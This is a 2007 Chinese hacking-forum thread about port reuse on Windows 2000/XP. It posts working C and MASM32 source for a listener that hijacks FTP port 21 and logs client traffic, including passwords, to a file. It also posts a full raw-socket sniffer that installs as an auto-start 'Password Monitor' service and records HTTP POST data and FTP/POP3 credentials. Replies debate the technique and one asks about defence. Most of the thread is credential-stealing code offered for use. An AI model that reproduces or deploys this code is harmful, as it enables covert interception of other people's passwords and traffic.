[原创]2000和XP下的GUEST用户利用端口复用实现监听功能的源码
软件作者:pt007[at]vip.sina.com版权所有,转载请注明信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])
下面是我改写的一个FTP的端口复用监听程序,为什么我写的程序必须在FTP服务之前启动?如果在FTP服务启动后再运行我的程序就会提示bind error,初学API,程序比较简单,没有实现进程隐藏和启动功能,以后加上:
即:首先net stop msftpsvc ,然后back2.exe ,net start msftpsvc就可以正常监听了,在程序的当前目录下写入一个test.txt文件:
back2.c源文件如下:
[code]#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#pragma comment(lib, "ws2_32.lib")
#pragma comment(linker,"/subsystem:windows /FILEALIGN:0x200 /ENTRY:mainCRTStartup")
DWORD WINAPI ClientThread(LPVOID lpParam);
int main(int argc,TCHAR **argv)
{
WORD wVersionRequested;
DWORD ret;
WSADATA wsaData;
BOOL val;
SOCKADDR_IN saddr;
SOCKADDR_IN scaddr;
int err;
SOCKET s;
SOCKET sc;
int caddsize;
HANDLE mt;
DWORD tid;
wVersionRequested = MAKEWORD( 2, 2 );
err = WSAStartup( wVersionRequested, &wsaData );
if ( err != 0 ) {
printf("error!WSAStartup failed!\n");
return -1;
}
saddr.sin_family = AF_INET;
//截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
/* if(argc <=1)
{printf("usage:svhosts.exe 192.168.38.109\n");
return;
}*/
saddr.sin_addr.s_addr = inet_addr("192.168.1.101");
saddr.sin_port = htons(21);
if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{
printf("error!socket failed!\n");
return -1;
}
val = TRUE;
//SO_REUSEADDR选项就是可以实现端口重绑定的:
if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
{
printf("error!setsockopt failed!\n");
return -1;
}
//如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
//如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
//其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
{
ret=GetLastError();
printf("error!bind failed!%d\n",ret);
return -1;
}
listen(s,2);
while(1)
{
caddsize = sizeof(scaddr);
//接受连接请求
sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
if(sc!=INVALID_SOCKET)
{
mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
if(mt==NULL)
{
printf("Thread Creat Failed!\n");
break;
}
}
CloseHandle(mt);
}
closesocket(s);
WSACleanup();
return 0;
}
DWORD WINAPI ClientThread(LPVOID lpParam)
{
SOCKET ss = (SOCKET)lpParam;
SOCKET sc;
unsigned char buf[4096];
SOCKADDR_IN saddr;
long num;
DWORD val;
DWORD ret;
DWORD nOut;
HANDLE hOut;//声明一个文件句柄
//如果是隐藏端口应用的话,可以在此处加一些判断
//如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
saddr.sin_port = htons(21);
if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{
printf("error!socket failed!\n");
return -1;
}
val = 100;
if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
{
ret = GetLastError();
return -1;
}
if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
{
ret = GetLastError();
return -1;
}
if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
{
printf("error!socket connect failed!\n");
closesocket(sc);
closesocket(ss);
return -1;
}
hOut = CreateFile ("test.txt", GENERIC_WRITE,FILE_SHARE_WRITE|FILE_SHARE_READ, NULL,
OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);//在当前目录下创建一个新文件
SetFilePointer(hOut,NULL,NULL,FILE_END);
/*if (hOut == INVALID_HANDLE_VALUE) {
printf ("Cannot open output file. Error: %x\n", GetLastError ());
return ;
}*/
while(1)
{
//下面的代码主要是实现通过127.0.0.1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
//如果是嗅探内容的话,可以再此处进行内容分析和记录
//如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
num =recv(ss,buf,4096,0);
WriteFile (hOut, buf, num, &nOut, NULL);
if(num>0)
send(sc,buf,num,0);
else if(num==0)
break;
num = recv(sc,buf,4096,0);
if(num>0)
send(ss,buf,num,0);
else if(num==0)
break;
}
closesocket(ss);
closesocket(sc);
CloseHandle(hOut);
return 0 ;
}[/code] 我知道原因了,小榕说是只有2000才支持端口复用,2003下对这一块进行限制了,问题解决,可以在FTP服务之前启动程序,就当做一个FTP密码监听软件吧,估计UNIX平台还没有解决这个问题,等有时间了就移植到UNIX上面 XP下貌似也可以.上次我就成功复用了80和21 [s:267] 偶用masm32重组一下:
.386
.model flat,stdcall
option casemap:none
include windows.inc
include user32.inc
include kernel32.inc
include wsock32.inc
include Ws2_32.inc
includelib user32.lib
includelib kernel32.lib
includelib wsock32.lib
includelib Ws2_32.lib
TCP_PORT equ 21 ;常量定义
Thread proto :LPSTR
.data
szTest db "\test.txt",0
szIP db "127.0.0.1",0
.data?
@wsaData WSADATA<?>
@stAddr sockaddr_in<?>
stStartUp STARTUPINFO<?>
stProcInfo PROCESS_INFORMATION<?>
hSocket SOCKET ?
sc SOCKET ?
tid DWORD ?
.code
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
Thread proc lpParam
local saddr:sockaddr_in
local szIpBuff[156]:DWORD
local val:DWORD
local sss:SOCKET
local hFile:DWORD
local buf[4096]:DWORD
local write:DWORD
local szDirectory[156]:DWORD
local szBuffFile[156]:DWORD
local hSzie:DWORD
mov saddr.sin_family,AF_INET
invoke inet_addr,addr szIpBuff
mov saddr.sin_addr,eax
invoke htons,21
mov saddr.sin_port,ax
invoke socket,AF_INET,SOCK_STREAM,IPPROTO_TCP
.if eax==SOCKET_ERROR
jmp error1
.endif
mov val,100
invoke setsockopt,sc,SOL_SOCKET,SO_RCVTIMEO,addr val,sizeof val
.if eax!=NULL
jmp error1
.endif
invoke setsockopt,ss,SOL_SOCKET,SO_RCVTIMEO,addr val,sizeof val
.if eax!=NULL
jmp error1
.endif
invoke connect,sc,addr saddr,sizeof saddr
.if eax!=NULL
jmp error1
.endif
invoke GetCurrentDirectory,200,addr szDirectory
invoke lstrcat,addr szBuffFile,addr szDirectory
invoke lstrcat,addr szBuffFile,addr szTest
invoke CreateFile,addr szBuffFile, GENERIC_WRITE,FILE_SHARE_WRITE or FILE_SHARE_READ, NULL,\
OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL
.if eax!=INVALID_HANDLE_VALUE
mov hFile,eax
.endif
invoke SetFilePointer,hFile,NULL,NULL,FILE_END
.while TRUE
invoke recv,sss,addr buf,4096,0
invoke lstrlen,addr buf
mov hSzie,eax
invoke WriteFile,hFile,addr buf,hSzie,addr write,NULL
invoke send,sc,addr buf,hSzie,0
.break .if eax==0
invoke RtlZeroMemory,addr buf,sizeof buf
invoke recv,sc,addr buf,4096,0
.if eax>0
invoke lstrlen,addr buf
invoke send,sc,addr buf,eax,0
.break .if eax==0
.endif
.endw
invoke closesocket,sss
invoke closesocket,sc
invoke CloseHandle,hFile
error1:
invoke closesocket,sc
invoke closesocket,sss
ret
Thread endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
start:
pushad
invoke WSAStartup,202h,addr @wsaData
.if eax==NULL
jmp error
.endif
invoke socket,AF_INET,SOCK_STREAM,IPPROTO_TCP
.if eax==SOCKET_ERROR
jmp error
.endif
mov hSocket,eax
invoke setsockopt,hSocket,SOL_SOCKET,SO_REUSEADDR,TRUE,TRUE
.if eax!=NULL
jmp error
.endif
mov @stAddr.sin_family,AF_INET
invoke htons,TCP_PORT
mov @stAddr.sin_port,ax
invoke inet_addr,addr szIP
mov @stAddr.sin_addr,eax
invoke bind,hSocket,addr @stAddr,sizeof sockaddr_in
.if eax==SOCKET_ERROR
jmp error
.endif
invoke listen,hSocket,2
invoke accept,hSocket,addr @stAddr,sizeof @stAddr
.if eax==INVALID_SOCKET
jmp error
.elseif
invoke CreateThread,NULL,0,addr Thread,addr sc,0,addr tid
invoke CloseHandle,eax
.endif
invoke CloseHandle,hSocket
invoke WSACleanup
error:
invoke CloseHandle,hSocket
invoke WSACleanup
popad
invoke ExitProcess,NULL
end start 郁闷,必须得执行程序,然后才可以执行serv-U,这样端口复用才成功.下面是我测试的结果.....
[attach]878[/attach] [quote]引用第1楼pt007于2007-03-19 23:47发表的 :
我知道原因了,小榕说是只有2000才支持端口复用,2003下对这一块进行限制了,问题解决,可以在FTP服务之前启动程序,就当做一个FTP密码监听软件吧,估计UNIX平台还没有解决这个问题,等有时间了就移植到UNIX上面[/quote]
XP下应该也可以,2003就不太清楚了,不过有一点可以确定的是,端口复用越来越难利用了. [quote]引用第0楼pt007于2007-03-19 22:28发表的 [原创]2000和XP下的GUEST用户利用端口复用实现监听功能的源码 :
软件作者:pt007[at]vip.sina.com版权所有,转载请注明
信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])
下面是我改写的一个FTP的端口复用监听程序,为什么我写的程序必须在FTP服务之前启动?如果在FTP服务启动后再运行我的程序就会提示bind error,初学API,程序比较简单,没有实现进程隐藏和启动功能,以后加上:
即:首先net stop msftpsvc ,然后back2.exe ,net start msftpsvc就可以正常监听了,在程序的当前目录下写入一个test.txt文件:
.......[/quote]
原因很简单,因为如果FTP服务先启动的话,那么公网IP就先被它先绑定了,而你的程序再绑定那个IP自然就会失败,复用端口的原理是一个程序用公网IP,另一个用127.0.0.1,它们通过同一个端口进行通信,而如果是你的程序先启动的话,它绑定了公网IP,那么FTP服务器就只能绑定127.0.0.1了,正好就是你的代码里那个流程,要注意的是,复用的只是端口而不是IP. 倒,我刚才说错了,你代码里面的是内网的IP,不过原理还是一样的~ [quote]引用第6楼l4bm0s于2007-03-20 15:25发表的 :
原因很简单,因为如果FTP服务先启动的话,那么公网IP就先被它先绑定了,而你的程序再绑定那个IP自然就会失败,复用端口的原理是一个程序用公网IP,另一个用127.0.0.1,它们通过同一个端口进行通信,而如果是你的程序先启动的话,它绑定了公网IP,那么FTP服务器就只能绑定127.0.0.1了,正好就是你的代码里那个流程,要注意的是,复用的只是端口而不是IP.[/quote]
l4bm0s说的有道理. 这篇文章看起来不像是原创,很久以前就看过类似的代码了,那代码除了没有CreateFile函数以外,就基本和这篇文章的代码一样了,貌似连注释也基本一样,这年头难道往已有代码上面加个函数也算原创.... GUEST用户能停用FTP服务?! 利用ht和nc端口复用进行sniff的具体操作步骤都还不是和清楚
哪位指点下! Phrack 62-0x07已经提到这种技术的shellcode
[url]http://www.phrack.org/archives/62/p62-0x07_Advances_in_Windows_Shellcode.txt[/url]
至于你说到的问题,文章也提到了。
> --[ 4.b.2 Problem with reuse address shellcode
> Some applications use SO_EXCLUSIVEADDRUSE, thus reusing the address
> is not possible.
所以一般的rebind shellcode都是先杀掉当前的绑定端口的进程,然后自己绑定(SO_REUSEADDR),最后再启动这个应用程序,所以你用的这种方法价值不是很大,普通用户一般是没有办法停止ftp进程的。
另外Unix下面,非root用户是无法绑定 < 1024端口的。 [quote]引用第11楼poc于2007-03-24 16:02发表的 :
利用ht和nc端口复用进行sniff的具体操作步骤都还不是和清楚
哪位指点下![/quote]
htran就已经有了 端口复用了,再使用xsniffer 就可以达到 该程序的效果了吧? 但是一直没有成功过。 偶也觉得奇怪
GUEST有权限停止服务?教教偶
好象局限性有点大吧
实际在WEBSHELL提权利用不大 顶一下!
如何防止密码监听呢?各位大牛??
引用书上的一句话"密码侦听从名字上看来神乎其神,但从实现上的确没有太多技术可言"
一下内容全部来自::
<<WINDOWS API 编程>> 冉林仓 编著
为了便于实现,采用服务编写.自启动方式安装.在给定端口监听,放火墙必须要开放该端口.程序开辟了1024长度的环形队列,如过是感兴趣的包,就放带列尾.列尾指针指向下一个元素,同时信号灯加一.另一线程负责查询信号.处理数据.把敏感信息写入到一个password.ini(保存在系统主目录)
第一次运行使用命令monitorservice.exe -i 手工启动它
[code]// monitorservice.cpp : 定义控制台应用程序的入口点。
//
//Author: Anish C.V.
//EMail : [email]cv_anish@hotmail.com[/email]
#include "stdafx.h"
#include <Winsock2.h>
#include "Windows.h"
#include "Winsvc.h"
#include "mstcpip.h"
#include "ws2tcpip.h"
#pragma comment(lib,"Advapi32.lib")
#pragma comment(lib,"Ws2_32.lib")
typedef struct tagBuff {
DWORD dwFlag;
DWORD SrcIP;
DWORD DstIP;
DWORD dwLen;
BYTE cBuffer[1024];
}BUFF,*PBUFF;
#define BUFFER_MAX 1024
BUFF Buffer[BUFFER_MAX];
#define BUFFER_SIZE 65536
char RecvBuf [BUFFER_SIZE];
typedef enum tagFlag{
HTTP,
FTP,
SMTP,
POP3
}FLAG;
static HANDLE g_hSemaphore=NULL;
static HANDLE g_hThread=NULL;
static int nHeader=0;
static int nTailer=0;
//
// Ip header
//
typedef struct _IP_HEADER
{
union
{
BYTE VersionAndHeaderLength; // Version 4 bit, Header Length 4 bit * 4
struct
{
BYTE HeaderLength : 4;
BYTE Version : 4;
};
};
BYTE TypeOfService;
WORD DatagramLength;
WORD Id;
WORD FlagsAndFragmentOffset; // Flags 3 bit, Fragment Offset 13 bit
BYTE TimeToLive;
BYTE Protocol;
WORD CheckSum;
BYTE SourceIp[4];
BYTE DestinationIp[4];
} IP_HEADER, *PIP_HEADER;
#define IP_HEADER_LENGTH 20
#define PROTOCOL_INVALID_IP 0xFF
#define PROTOCOL_INVALID_TCP 0xFE
#define PROTOCOL_INVALID_UDP 0xFD
#define PROTOCOL_INVALID_ICMP 0xFC
#define PROTOCOL_TCP 0x06
#define PROTOCOL_UDP 0x11
#define PROTOCOL_ICMP 0x01
#define PROTOCOL_IGMP 0x02
#define HEADER_LENGTH_MULTIPLE 4
#define GET_IP_VERSION(verlen) ((verlen & 0xF0) >> 4)
#define GET_IP_HEADER_LENGTH(verlen) ((verlen & 0x0F) * HEADER_LENGTH_MULTIPLE)
#define GET_IP_FLAGS(ffo) ((ffo & 0xE000) >> 13)
#define GET_IP_FRAGMENT_OFFSET(ffo) (ffo & 0x1FFF)
//
// Tcp Header
//
typedef struct _TCP_HEADER
{
WORD SourcePort;
WORD DestinationPort;
DWORD SeqNumber;
DWORD AckNumber;
union
{
WORD LenAndCodeBits; // Header length 4 bit, Reserved 6 bit, Code Bits 6 bit
struct
{
WORD Reserved1 : 8;
WORD TcpCode : 6;
WORD Reserved2 : 2;
};
struct
{
WORD Reserved3 : 4;
WORD HeaderLength : 4;
WORD TcpFin : 1;
WORD TcpSyn : 1;
WORD TcpRst : 1;
WORD TcpPsh : 1;
WORD TcpAck : 1;
WORD TcpUrg : 1;
WORD Reserved4 : 2;
};
};
WORD Window;
WORD CheckSum;
WORD UrgentPointer;
} TCP_HEADER, *PTCP_HEADER;
#define TCP_HEADER_LENGTH 20
#define GET_TCP_HEADER_LENGTH(lcb) (((lcb & 0xF000) >> 12) * HEADER_LENGTH_MULTIPLE)
#define GET_TCP_CODE_BITS(lcb) (lcb & 0x003F)
//
// Udp Header
//
typedef struct _UDP_HEADER
{
WORD SourcePort;
WORD DestinationPort;
WORD Length; // including this header
WORD CheckSum;
} UDP_HEADER, *PUDP_HEADER;
#define UDP_HEADER_LENGTH 8
//
// Icmp Header
//
typedef struct _ICMP_HEADER
{
BYTE Type;
BYTE Code; // type sub code
WORD CheckSum;
WORD ID;
WORD Seq;
} ICMP_HEADER, *PICMP_HEADER;
#define ICMP_HEADER_LENGTH 8
#define ICMP_NORMAL 0
#define ICMP_REQUEST 1
#define ICMP_RESPONSE 2
SERVICE_STATUS m_ServiceStatus;
SERVICE_STATUS_HANDLE m_ServiceStatusHandle;
BOOL bRunning=true;
void WINAPI ServiceMain(DWORD argc, LPTSTR *argv);
void WINAPI ServiceCtrlHandler(DWORD Opcode);
BOOL InstallService();
BOOL DeleteService();
void CheckUdp(PUDP_HEADER pUdpHeader,DWORD dwLen)
{
}
void CheckTcp(PTCP_HEADER pTcpHeader,DWORD dwLen)
{
if (pTcpHeader->TcpFin || pTcpHeader->TcpRst||pTcpHeader->TcpSyn)
{
return;
}
TCHAR* szTemp=NULL;
switch(ntohs(pTcpHeader->DestinationPort))
{
case 80:
case 8080:
szTemp=(char*)pTcpHeader+sizeof(TCP_HEADER);
if (strstr(szTemp,"POST")&&strstr(szTemp,"HTTP/1")){
Buffer[nTailer].dwFlag=HTTP;
Buffer[nTailer].dwLen=dwLen;
memcpy(Buffer[nTailer].cBuffer,szTemp,dwLen);
nTailer=(nTailer+1) % BUFFER_MAX;
ReleaseSemaphore( g_hSemaphore, // handle to semaphore
1, // increase count by one
NULL);
}
break;
case 110:
szTemp=(char*)pTcpHeader+sizeof(TCP_HEADER);
if (strstr(szTemp,"USER")||strstr(szTemp,"PASS")){
PIP_HEADER pIpHeader=(PIP_HEADER)((BYTE*)pTcpHeader-sizeof(IP_HEADER));
Buffer[nTailer].SrcIP=*((int*)pIpHeader->SourceIp);
Buffer[nTailer].DstIP=*((int*)pIpHeader->DestinationIp);;
Buffer[nTailer].dwFlag=POP3;
Buffer[nTailer].dwLen=dwLen;
memcpy(Buffer[nTailer].cBuffer,szTemp,dwLen);
nTailer=(nTailer+1) % BUFFER_MAX;
ReleaseSemaphore(
g_hSemaphore, // handle to semaphore
1, // increase count by one
NULL);
}
break;
case 21:
szTemp=(char*)pTcpHeader+sizeof(TCP_HEADER);
if (strstr(szTemp,"USER")||strstr(szTemp,"PASS")){
PIP_HEADER pIpHeader=(PIP_HEADER)((BYTE*)pTcpHeader-sizeof(IP_HEADER));
Buffer[nTailer].SrcIP=*((int*)pIpHeader->SourceIp);
Buffer[nTailer].DstIP=*((int*)pIpHeader->DestinationIp);;
Buffer[nTailer].dwFlag=FTP;
Buffer[nTailer].dwLen=dwLen;
memcpy(Buffer[nTailer].cBuffer,szTemp,dwLen);
nTailer=(nTailer+1) % BUFFER_MAX;
ReleaseSemaphore(
g_hSemaphore, // handle to semaphore
1, // increase count by one
NULL);
}
break;;
default:
break;
}
}
void DecodeEthPkt_data( u_char * pkt)
{
WORD EthernetFrameType;
WORD LengthCount;
PIP_HEADER pIpHeader;
pIpHeader = (PIP_HEADER)(pkt/*+sizeof(EHTERNET_FRAME)*/);
LengthCount = pIpHeader->HeaderLength * HEADER_LENGTH_MULTIPLE;
if(LengthCount == 0){
//dprintf(("LengthCount == 0"));
return ;
}
switch(pIpHeader->Protocol)
{
case PROTOCOL_TCP:
// 解析Tcp Header
CheckTcp((PTCP_HEADER)(pkt+/*sizeof(EHTERNET_FRAME)+*/sizeof(IP_HEADER)),pIpHeader->DatagramLength-sizeof(TCP_HEADER));
return ;
case PROTOCOL_UDP:
// 解析 Udp Header
CheckUdp((PUDP_HEADER)(pkt+/*sizeof(EHTERNET_FRAME)+*/sizeof(IP_HEADER)),pIpHeader->DatagramLength-sizeof(TCP_HEADER));
return ;
default:
break;
}
return;
}//DecodeEthPkt_data
DWORD ThreadProc(LPVOID lParam)
{
DWORD dwWaitResult;
while (TRUE) {
dwWaitResult = WaitForSingleObject(
g_hSemaphore, // handle to semaphore
2);
switch (dwWaitResult)
{
//队列中还有空位置
case WAIT_OBJECT_0:
switch(Buffer[nHeader].dwFlag){
case HTTP:
{
TCHAR* szURL=strstr((char*)Buffer[nHeader].cBuffer,"POST ")+5;
if ((int)szURL==0005) {
nHeader=(nHeader+1)%BUFFER_MAX;
return 1;
}
TCHAR* szHTTP=strstr(szURL,"HTTP/");
if (szHTTP==NULL) {
nHeader=(nHeader+1)%BUFFER_MAX;
return 1;
}
TCHAR cURL[1024];
ZeroMemory(cURL,sizeof cURL);
_tcsncpy(cURL,szURL,szHTTP-szURL);
TCHAR* szHost=strstr((char*)Buffer[nHeader].cBuffer,"Host: ")+6;
if ((int)szHost==0006) {
nHeader=(nHeader+1)%BUFFER_MAX;
return 1;
}
TCHAR* szCRLN=strstr(szHost,"\r\n");
if (szCRLN==NULL) {
nHeader=(nHeader+1)%BUFFER_MAX;
return 1;
}
TCHAR cHost[1024];
ZeroMemory(cHost,sizeof cHost);
_tcsncpy(cHost,szHost,szCRLN-szHost);
_tcscat(cHost,cURL);
TCHAR* szPostData=strstr((char*)Buffer[nHeader].cBuffer,"\r\n\r\n")+4;
TCHAR* szContentLen=strstr((char*)Buffer[nHeader].cBuffer,"Content-Length: ")+16;
if((int)szPostData==4||(int)szContentLen==16){
nHeader=(nHeader+1)%BUFFER_MAX;
return 1;
}
TCHAR* szRefer=strstr((char*)Buffer[nHeader].cBuffer,"Referer: ")+9;
TCHAR cRefer[1024];
if((int)szRefer!=9){
ZeroMemory(cRefer,sizeof cRefer);
int i=0;
while(szRefer[i]!='\r'){
cRefer[i]=szRefer[i];
i++;
}
}
else
_tcscpy(cRefer,"HTTP");
int nLen;
sscanf(szContentLen,"%d",&nLen);
szPostData[nLen]=0;
WritePrivateProfileString(cHost,szPostData,cRefer,"Password.ini");
nHeader=(nHeader+1)%BUFFER_MAX;
}
break;
case FTP:
{
TCHAR* szCRLN=strstr((char*)Buffer[nHeader].cBuffer,"\r\n");
if (szCRLN!=NULL) {
*szCRLN=0;
}
WritePrivateProfileString(inet_ntoa(*(struct in_addr *)&Buffer[nHeader].DstIP),
(char*)Buffer[nHeader].cBuffer,"FTP","Password.ini");
nHeader=(nHeader+1)%BUFFER_MAX;
}
break;
case SMTP:
break;
case POP3:
TCHAR* szCRLN=strstr((char*)Buffer[nHeader].cBuffer,"\r\n");
if (szCRLN!=NULL) {
*szCRLN=0;
}
WritePrivateProfileString(inet_ntoa(*(struct in_addr *)&Buffer[nHeader].DstIP),
(char*)Buffer[nHeader].cBuffer,"POP3","Password.ini");
nHeader=(nHeader+1)%BUFFER_MAX;
break;
}
break;
//队列中无空位置,超时退出
case WAIT_TIMEOUT:
break;
}
}
return TRUE;
}
int main(int argc, char* argv[])
{
if(argc>1)
{
if(strcmp(argv[1],"-i")==0)
{
if(InstallService())
printf("\n\nService Installed Sucessfully\n");
else
printf("\n\nError Installing Service\n");
}
if(strcmp(argv[1],"-d")==0)
{
if(DeleteService())
printf("\n\nService UnInstalled Sucessfully\n");
else
printf("\n\nError UnInstalling Service\n");
}
else
{
printf("\n\nUnknown Switch Usage\n\nFor Install use MonitorService -i\n\nFor UnInstall use MonitorService -d\n");
}
}
else
{
SERVICE_TABLE_ENTRY DispatchTable[]={{"Password Monitor",ServiceMain},{NULL,NULL}};
StartServiceCtrlDispatcher(DispatchTable);
}
return 0;
}
void WINAPI ServiceMain(DWORD argc, LPTSTR *argv)
{
DWORD status;
DWORD specificError;
m_ServiceStatus.dwServiceType = SERVICE_WIN32;
m_ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
m_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP;
m_ServiceStatus.dwWin32ExitCode = 0;
m_ServiceStatus.dwServiceSpecificExitCode = 0;
m_ServiceStatus.dwCheckPoint = 0;
m_ServiceStatus.dwWaitHint = 0;
m_ServiceStatusHandle = RegisterServiceCtrlHandler("Password Monitor",ServiceCtrlHandler);
if (m_ServiceStatusHandle == (SERVICE_STATUS_HANDLE)0)
m_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
m_ServiceStatus.dwCheckPoint = 0;
m_ServiceStatus.dwWaitHint = 0;
if (!SetServiceStatus (m_ServiceStatusHandle, &m_ServiceStatus)) return;
g_hSemaphore = CreateSemaphore(
NULL, // no security attributes
0, // initial count
BUFFER_MAX, // maximum count
NULL); // unnamed semaphore
DWORD dwThread;
if (g_hThread==0) {
g_hThread=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)ThreadProc,NULL,0,&dwThread);
}
WSADATA WSAData;
BOOL flag = true;
int nTimeout = 1000;
char LocalName[16];
SOCKADDR_IN addr_in;
struct hostent *pHost;
SOCKET sock;
// 检查 Winsock 版本号
if (WSAStartup(MAKEWORD(2, 2), &WSAData) != 0)return ;
// 初始化 Raw Socket
if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == INVALID_SOCKET) return ;
// 设置IP头操作选项
if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char*)&flag, sizeof(flag)) == SOCKET_ERROR)
return ;
// 获取本机名
if (gethostname((char*)LocalName, sizeof(LocalName)) == SOCKET_ERROR)return ;
// 获取本地 IP 地址
if ((pHost = gethostbyname((char*)LocalName)) == NULL) return ;
addr_in.sin_addr = *(in_addr *)pHost->h_addr_list[0]; //IP
addr_in.sin_family = AF_INET;
addr_in.sin_port = htons(55555);
// 把 sock 绑定到本地地址上
if (bind(sock, (PSOCKADDR)&addr_in, sizeof(addr_in)) == SOCKET_ERROR)return ;
DWORD dwValue = 1;
// 设置 SOCK_RAW 为SIO_RCVALL,以便接收所有的IP包
if (ioctlsocket(sock, SIO_RCVALL, &dwValue) != 0) return ;
while (true)
{
int ret = recv(sock, RecvBuf, BUFFER_SIZE, 0);
if (ret > 0)
{
DecodeEthPkt_data((BYTE*)RecvBuf) ;
}
}
return;
}
void WINAPI ServiceCtrlHandler(DWORD Opcode)
{
switch(Opcode)
{
case SERVICE_CONTROL_PAUSE:
m_ServiceStatus.dwCurrentState = SERVICE_PAUSED;
break;
case SERVICE_CONTROL_CONTINUE:
m_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
break;
case SERVICE_CONTROL_STOP:
m_ServiceStatus.dwWin32ExitCode = 0;
m_ServiceStatus.dwCurrentState = SERVICE_STOPPED;
m_ServiceStatus.dwCheckPoint = 0;
m_ServiceStatus.dwWaitHint = 0;
SetServiceStatus (m_ServiceStatusHandle,&m_ServiceStatus);
bRunning=false;
break;
case SERVICE_CONTROL_INTERROGATE:
break;
}
return;
}
BOOL InstallService()
{
char strDir[1024];
SC_HANDLE schSCManager,schService;
GetModuleFileName(NULL,strDir,sizeof strDir);
schSCManager = OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);
if (schSCManager == NULL) return false;
LPCTSTR lpszBinaryPathName=strDir;
schService = CreateService(schSCManager,"Password Monitor","Password Monitor", // service name to display
SERVICE_ALL_ACCESS, // desired access
SERVICE_WIN32_OWN_PROCESS, // service type
SERVICE_AUTO_START, // start type
SERVICE_ERROR_NORMAL, // error control type
lpszBinaryPathName, // service's binary
NULL, // no load ordering group
NULL, // no tag identifier
NULL, // no dependencies
NULL, // LocalSystem account
NULL); // no password
if (schService == NULL) return false;
CloseServiceHandle(schService);
return true;
}
BOOL DeleteService()
{
SC_HANDLE schSCManager;
SC_HANDLE hService;
schSCManager = OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);
if (schSCManager == NULL) return false;
hService=OpenService(schSCManager,"Password Monitor",SERVICE_ALL_ACCESS);
if (hService == NULL) return false;
if(DeleteService(hService)==0) return false;
if(CloseServiceHandle(hService)==0)
return false;
else
return true;
}
[/code]
mstcpip.h
[code]#ifndef _MSTCPIP_INC
#define _MSTCPIP_INC
// Copyright (C) Microsoft Corporation, 1996-1999
#if _MSC_VER > 1000
#pragma once
#endif
/* Argument structure for SIO_KEEPALIVE_VALS */
struct tcp_keepalive {
u_long onoff;
u_long keepalivetime;
u_long keepaliveinterval;
};
// New WSAIoctl Options
#define SIO_RCVALL _WSAIOW(IOC_VENDOR,1)
#define SIO_RCVALL_MCAST _WSAIOW(IOC_VENDOR,2)
#define SIO_RCVALL_IGMPMCAST _WSAIOW(IOC_VENDOR,3)
#define SIO_KEEPALIVE_VALS _WSAIOW(IOC_VENDOR,4)
#define SIO_ABSORB_RTRALERT _WSAIOW(IOC_VENDOR,5)
#define SIO_UCAST_IF _WSAIOW(IOC_VENDOR,6)
#define SIO_LIMIT_BROADCASTS _WSAIOW(IOC_VENDOR,7)
#define SIO_INDEX_BIND _WSAIOW(IOC_VENDOR,8)
#define SIO_INDEX_MCASTIF _WSAIOW(IOC_VENDOR,9)
#endif[/code] 端口复用ms各个版本上通用性不好~~
页:
[1]